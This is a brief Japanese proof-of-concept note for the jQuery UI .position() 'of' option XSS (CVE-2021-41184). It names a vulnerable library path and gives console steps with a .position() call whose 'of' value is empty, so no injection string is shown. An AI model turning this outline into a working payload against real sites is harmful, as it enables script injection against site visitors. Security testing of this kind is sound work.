Exploit-Medium-CVE-2021-41184

Exploit Medium CVE-2021-41184 .position()ユーティリティのofオプションにおけるXSS

1. 脆弱な jQuery ui バージョン v1.12.1

1.1 https://www.website.com/_js/jquery/jquery-ui-1.12.1/jquery-ui.min.js

------------------------------------------------概念実証---------------------------------------------------------------

1. URLを開く

2. インスペクタを開く

3. サイト要素内のIDを探す

3.1 #ID

4. コンソールタブに移動する

5. 手順3.1で選択したIDでスクリプトを注入する

5.1 スクリプト

$("#id").position( {
my: "center",
at: "right bottom",
of: "",
collision: "none"
    });